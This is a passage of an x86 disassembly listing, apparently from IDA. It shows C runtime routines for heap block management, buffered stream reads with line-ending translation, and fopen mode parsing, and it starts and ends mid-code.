esi, 4 dec esi cmp esi, 3Fh jle short loc_41E96F push 3Fh pop esi loc_41E96F: ; CODE XREF: sub_41E7CD+19Dj cmp esi, edi jz loc_41EA84 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E9E0 cmp edi, 20h jge short loc_41E9AF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9AF: ; CODE XREF: sub_41E7CD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E9DD mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E9E0 ; --------------------------------------------------------------------------- loc_41E9DD: ; CODE XREF: sub_41E7CD+1D6j ; sub_41E7CD+203j mov ebx, [ebp+arg_0] loc_41E9E0: ; CODE XREF: sub_41E7CD+1B0j ; sub_41E7CD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41EA90 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EA81 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41EA52 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA40 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41EA40: ; CODE XREF: sub_41E7CD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41EA81 ; --------------------------------------------------------------------------- loc_41EA52: ; CODE XREF: sub_41E7CD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EA6B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41EA6B: ; CODE XREF: sub_41E7CD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41EA81: ; CODE XREF: sub_41E7CD+24Ej ; sub_41E7CD+283j mov ecx, [ebp+var_8] loc_41EA84: ; CODE XREF: sub_41E7CD+1A4j test ecx, ecx jz short loc_41EA93 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41EA93 ; --------------------------------------------------------------------------- loc_41EA90: ; CODE XREF: sub_41E7CD+229j mov ecx, [ebp+var_8] loc_41EA93: ; CODE XREF: sub_41E7CD+2B9j ; sub_41E7CD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41EAC9 cmp ebx, dword_4DAD94 jnz short loc_41EAC9 mov ecx, [ebp+var_4] cmp ecx, dword_4DAD8C jnz short loc_41EAC9 and dword_4DAD94, 0 loc_41EAC9: ; CODE XREF: sub_41E7CD+2E0j ; sub_41E7CD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41EAD1: ; CODE XREF: sub_41E7CD+F0j pop edi pop esi pop ebx leave retn sub_41E7CD endp ; =============== S U B R O U T I N E ======================================= sub_41EAD6 proc near ; CODE XREF: sub_41E7CD+CCp mov eax, dword_4DAD98 mov ecx, dword_4DAD88 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EB19 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DAD9C push edi push dword_4DADA0 nop call near ptr 2870000h cmp eax, edi jz short loc_41EB69 add dword_4DAD88, 10h mov dword_4DAD9C, eax mov eax, dword_4DAD98 loc_41EB19: ; CODE XREF: sub_41EAD6+11j mov ecx, dword_4DAD9C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DADA0 lea esi, [ecx+eax*4] nop call near ptr 27D0000h cmp eax, edi mov [esi+10h], eax jz short loc_41EB69 push 4 push 2000h push 100000h push edi call near ptr 2650B77h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EB6D push dword ptr [esi+10h] push edi push dword_4DADA0 call near ptr 27C0620h nop loc_41EB69: ; CODE XREF: sub_41EAD6+30j ; sub_41EAD6+67j xor eax, eax jmp short loc_41EB84 ; --------------------------------------------------------------------------- loc_41EB6D: ; CODE XREF: sub_41EAD6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DAD98 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EB84: ; CODE XREF: sub_41EAD6+95j pop edi pop esi retn sub_41EAD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB87 proc near ; CODE XREF: sub_41E7CD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EB99: ; CODE XREF: sub_41EB87+19j test eax, eax jl short loc_41EBA2 shl eax, 1 inc ebx jmp short loc_41EB99 ; --------------------------------------------------------------------------- loc_41EBA2: ; CODE XREF: sub_41EB87+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EBB7: ; CODE XREF: sub_41EB87+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EBB7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2650B77h test eax, eax jnz short loc_41EBEA or eax, 0FFFFFFFFh jmp loc_41EC7D ; --------------------------------------------------------------------------- loc_41EBEA: ; CODE XREF: sub_41EB87+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EC30 lea eax, [edi+10h] loc_41EBF7: ; CODE XREF: sub_41EB87+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EBF7 loc_41EC30: ; CODE XREF: sub_41EB87+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EC6D or [eax+4], edi loc_41EC6D: ; CODE XREF: sub_41EB87+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EC7D: ; CODE XREF: sub_41EB87+5Ej pop edi pop esi pop ebx leave retn sub_41EB87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC82 proc near ; CODE XREF: sub_41BB48+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41EE30 test bl, 1 jnz loc_41EE29 add ebx, ecx cmp esi, ebx jg loc_41EE29 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41ECF9 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41ECF9: ; CODE XREF: sub_41EC82+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41ED49 cmp ecx, 20h jnb short loc_41ED25 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41ED49 ; --------------------------------------------------------------------------- loc_41ED25: ; CODE XREF: sub_41EC82+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41ED49 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41ED49: ; CODE XREF: sub_41EC82+7Dj ; sub_41EC82+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41EE17 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41ED83 push 3Fh pop edi loc_41ED83: ; CODE XREF: sub_41EC82+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41EE05 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41EDDC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDCF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EDCF: ; CODE XREF: sub_41EC82+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EE01 ; --------------------------------------------------------------------------- loc_41EDDC: ; CODE XREF: sub_41EC82+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EDF2 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EDF2: ; CODE XREF: sub_41EC82+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EE01: ; CODE XREF: sub_41EC82+158j shr edx, cl or [eax], edx loc_41EE05: ; CODE XREF: sub_41EC82+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41EE1A ; --------------------------------------------------------------------------- loc_41EE17: ; CODE XREF: sub_41EC82+E5j mov edx, [ebp+arg_4] loc_41EE1A: ; CODE XREF: sub_41EC82+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41EF70 ; --------------------------------------------------------------------------- loc_41EE29: ; CODE XREF: sub_41EC82+52j ; sub_41EC82+5Cj xor eax, eax jmp loc_41EF73 ; --------------------------------------------------------------------------- loc_41EE30: ; CODE XREF: sub_41EC82+49j jge loc_41EF70 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41EE5B push 3Fh pop esi loc_41EE5B: ; CODE XREF: sub_41EC82+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EEEA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EE74 push 3Fh pop esi loc_41EE74: ; CODE XREF: sub_41EC82+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EEC3 cmp esi, 20h jnb short loc_41EE9F mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EEC0 ; --------------------------------------------------------------------------- loc_41EE9F: ; CODE XREF: sub_41EC82+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EEC0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EEC0: ; CODE XREF: sub_41EC82+214j ; sub_41EC82+21Bj ... mov ebx, [ebp+arg_4] loc_41EEC3: ; CODE XREF: sub_41EC82+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EEEA push 3Fh pop esi loc_41EEEA: ; CODE XREF: sub_41EC82+1DDj ; sub_41EC82+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EF67 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EF3E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF31 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EF31: ; CODE XREF: sub_41EC82+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41EF63 ; --------------------------------------------------------------------------- loc_41EF3E: ; CODE XREF: sub_41EC82+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EF54 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EF54: ; CODE XREF: sub_41EC82+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41EF63: ; CODE XREF: sub_41EC82+2BAj shr edx, cl or [eax], edx loc_41EF67: ; CODE XREF: sub_41EC82+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41EF70: ; CODE XREF: sub_41EC82+1A2j ; sub_41EC82:loc_41EE30j push 1 pop eax loc_41EF73: ; CODE XREF: sub_41EC82+1A9j pop edi pop esi pop ebx leave retn sub_41EC82 endp ; =============== S U B R O U T I N E ======================================= sub_41EF78 proc near ; CODE XREF: sub_41BA60+A9p ; sub_41C2CF+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F04C test al, 40h jnz loc_41F04C test al, 2 jz short loc_41EF9E or al, 20h mov [esi+0Ch], eax jmp loc_41F04C ; --------------------------------------------------------------------------- loc_41EF9E: ; CODE XREF: sub_41EF78+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41EFB2 push esi call sub_4238F7 pop ecx jmp short loc_41EFB7 ; --------------------------------------------------------------------------- loc_41EFB2: ; CODE XREF: sub_41EF78+2Fj mov eax, [esi+8] mov [esi], eax loc_41EFB7: ; CODE XREF: sub_41EF78+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F03B cmp eax, 0FFFFFFFFh jz short loc_41F03B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F010 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41EFF9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DAA60[edi*4] lea edi, [edi+ecx*8] jmp short loc_41EFFE ; --------------------------------------------------------------------------- loc_41EFF9: ; CODE XREF: sub_41EF78+6Bj mov edi, offset dword_43ACE0 loc_41EFFE: ; CODE XREF: sub_41EF78+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F010 or dh, 20h mov [esi+0Ch], edx loc_41F010: ; CODE XREF: sub_41EF78+62j ; sub_41EF78+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F02D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F02D test ch, 4 jnz short loc_41F02D mov dword ptr [esi+18h], 1000h loc_41F02D: ; CODE XREF: sub_41EF78+9Fj ; sub_41EF78+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F03B: ; CODE XREF: sub_41EF78+55j ; sub_41EF78+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F04C: ; CODE XREF: sub_41EF78+Aj ; sub_41EF78+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41EF78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F051 proc near ; CODE XREF: sub_41BA60+90p ; sub_41EF78+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DAB60 jnb loc_41F22E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DAA60h[eax*4] mov eax, dword_4DAA60[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F22E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F106 test dl, 2 jnz short loc_41F106 test dl, 48h jz short loc_41F0C6 mov al, [eax+5] cmp al, 0Ah jz short loc_41F0C6 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F0C6: ; CODE XREF: sub_41F051+56j ; sub_41F051+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jnz short loc_41F119 call near ptr 2680DCDh nop push 5 pop ecx cmp eax, ecx jnz short loc_41F101 mov dword_4D9714, 9 mov dword_4D9718, ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F101: ; CODE XREF: sub_41F051+99j cmp eax, 6Dh jnz short loc_41F10D loc_41F106: ; CODE XREF: sub_41F051+4Cj ; sub_41F051+51j xor eax, eax jmp loc_41F242 ; --------------------------------------------------------------------------- loc_41F10D: ; CODE XREF: sub_41F051+B3j push eax call sub_420314 pop ecx jmp loc_41F23F ; --------------------------------------------------------------------------- loc_41F119: ; CODE XREF: sub_41F051+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F229 test edx, edx jz short loc_41F13E cmp byte ptr [edi], 0Ah jnz short loc_41F13E or al, 4 jmp short loc_41F140 ; --------------------------------------------------------------------------- loc_41F13E: ; CODE XREF: sub_41F051+E2j ; sub_41F051+E7j and al, 0FBh loc_41F140: ; CODE XREF: sub_41F051+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F223 loc_41F158: ; CODE XREF: sub_41F051+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F213 cmp al, 0Dh jz short loc_41F174 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F205 ; --------------------------------------------------------------------------- loc_41F174: ; CODE XREF: sub_41F051+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F192 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F189 add [ebp+arg_8], 2 jmp short loc_41F1E7 ; --------------------------------------------------------------------------- loc_41F189: ; CODE XREF: sub_41F051+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F192: ; CODE XREF: sub_41F051+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2710000h nop test eax, eax jnz short loc_41F1BA nop call near ptr 2680DCDh test eax, eax jnz short loc_41F201 loc_41F1BA: ; CODE XREF: sub_41F051+15Dj cmp [ebp+var_C], 0 jz short loc_41F201 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F1DC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F1E7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F205 ; --------------------------------------------------------------------------- loc_41F1DC: ; CODE XREF: sub_41F051+176j cmp edi, [ebp+arg_4] jnz short loc_41F1EC cmp [ebp+var_1], 0Ah jnz short loc_41F1EC loc_41F1E7: ; CODE XREF: sub_41F051+136j ; sub_41F051+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F204 ; --------------------------------------------------------------------------- loc_41F1EC: ; CODE XREF: sub_41F051+18Ej ; sub_41F051+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422633 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F205 loc_41F201: ; CODE XREF: sub_41F051+167j ; sub_41F051+16Dj mov byte ptr [edi], 0Dh loc_41F204: ; CODE XREF: sub_41F051+199j inc edi loc_41F205: ; CODE XREF: sub_41F051+11Ej ; sub_41F051+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F158 jmp short loc_41F223 ; --------------------------------------------------------------------------- loc_41F213: ; CODE XREF: sub_41F051+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F223 or al, 2 mov [esi], al loc_41F223: ; CODE XREF: sub_41F051+101j ; sub_41F051+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F229: ; CODE XREF: sub_41F051+DAj mov eax, [ebp+var_8] jmp short loc_41F242 ; --------------------------------------------------------------------------- loc_41F22E: ; CODE XREF: sub_41F051+12j ; sub_41F051+39j and dword_4D9718, 0 mov dword_4D9714, 9 loc_41F23F: ; CODE XREF: sub_41F051+ABj ; sub_41F051+C3j or eax, 0FFFFFFFFh loc_41F242: ; CODE XREF: sub_41F051+B7j ; sub_41F051+1DBj pop edi pop esi pop ebx leave retn sub_41F051 endp ; =============== S U B R O U T I N E ======================================= sub_41F247 proc near ; CODE XREF: sub_41BB48+106p ; sub_41BCAD+1Fp ... arg_0 = dword ptr 4 mov eax, dword_4D9794 test eax, eax jz short loc_41F25F push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F25F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F25F: ; CODE XREF: sub_41F247+7j ; sub_41F247+12j xor eax, eax retn sub_41F247 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F262 proc near ; CODE XREF: sub_41BC68+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4D9900 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F29B cmp al, 72h jz short loc_41F294 cmp al, 77h jnz loc_41F3AF mov ecx, 301h jmp short loc_41F2A0 ; --------------------------------------------------------------------------- loc_41F294: ; CODE XREF: sub_41F262+21j xor ecx, ecx or esi, 1 jmp short loc_41F2A3 ; --------------------------------------------------------------------------- loc_41F29B: ; CODE XREF: sub_41F262+1Dj mov ecx, 109h loc_41F2A0: ; CODE XREF: sub_41F262+30j or esi, 2 loc_41F2A3: ; CODE XREF: sub_41F262+37j push 1 pop edx loc_41F2A6: ; CODE XREF: sub_41F262+8Bj ; sub_41F262+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F395 cmp edx, ebx jz loc_41F395 movsx eax, al cmp eax, 54h jg short loc_41F334 jz short loc_41F324 sub eax, 2Bh jz short loc_41F30E sub eax, 19h jz short loc_41F304 sub eax, 0Eh jz short loc_41F2EF dec eax jnz loc_41F386 cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F2EF: ; CODE XREF: sub_41F262+6Fj cmp [ebp+var_4], ebx jnz loc_41F386 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F304: ; CODE XREF: sub_41F262+6Aj test cl, 40h jnz short loc_41F386 or ecx, 40h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F30E: ; CODE XREF: sub_41F262+65j test cl, 2 jnz short loc_41F386 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F324: ; CODE XREF: sub_41F262+60j mov eax, 1000h test ecx, eax jnz short loc_41F386 or ecx, eax jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F334: ; CODE XREF: sub_41F262+5Ej sub eax, 62h jz short loc_41F381 dec eax jz short loc_41F36A sub eax, 0Bh jz short loc_41F353 sub eax, 6 jnz short loc_41F386 test ch, 0C0h jnz short loc_41F386 or ch, 40h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F353: ; CODE XREF: sub_41F262+DDj cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F36A: ; CODE XREF: sub_41F262+D8j cmp [ebp+var_8], ebx jnz short loc_41F386 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F381: ; CODE XREF: sub_41F262+D5j test ch, 0C0h jz short loc_41F38D loc_41F386: ; CODE XREF: sub_41F262+72j ; sub_41F262+7Bj ... xor edx, edx jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F38D: ; CODE XREF: sub_41F262+122j or ch, 80h jmp loc_41F2A6 ; --------------------------------------------------------------------------- loc_41F395: ; CODE XREF: sub_41F262+4Aj ; sub_41F262+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42393B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F3B3 loc_41F3AF: ; CODE XREF: sub_41F262+25j xor eax, eax jmp short loc_41F3CD ; --------------------------------------------------------------------------- loc_41F3B3: ; CODE XREF: sub_41F262+14Bj mov eax, [ebp+arg_C] inc dword_4D98FC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F3CD: ; CODE XREF: sub_41F262+14Fj pop edi pop esi pop ebx leave retn sub_41F262 endp ; =============== S U B R O U T I N E ======================================= sub_41F3D2 proc near ; CODE XREF: sub_41BC68p mov edx, dword_4DAA40 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F443 mov ebx, dword_4D9A30 mov edi, ebx loc_41F3EE: ; CODE XREF: sub_41F3D2+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F409 test byte ptr [ecx+0Ch], 83h jz short loc_41F404 inc eax add edi, 4 cmp eax, edx jl short loc_41F3EE jmp short loc_41F443 ; --------------------------------------------------------------------------- loc_41F404: ; CODE XREF: sub_41F3D2+26j mov esi, [ebx+eax*4] jmp short loc_41F42D ; --------------------------------------------------------------------------- loc_41F409: ; CODE XREF: sub_41F3D2+20j mov edi, eax push 20h shl edi, 2 call sub_41BC9B pop ecx mov ecx, dword_4D9A30 mov [edi+ecx], eax mov eax, dword_4D9A30 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F443 mov esi, edi loc_41F42D: ; CODE XREF: sub_41F3D2+35j cmp esi, ebp jz short loc_41F443 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], 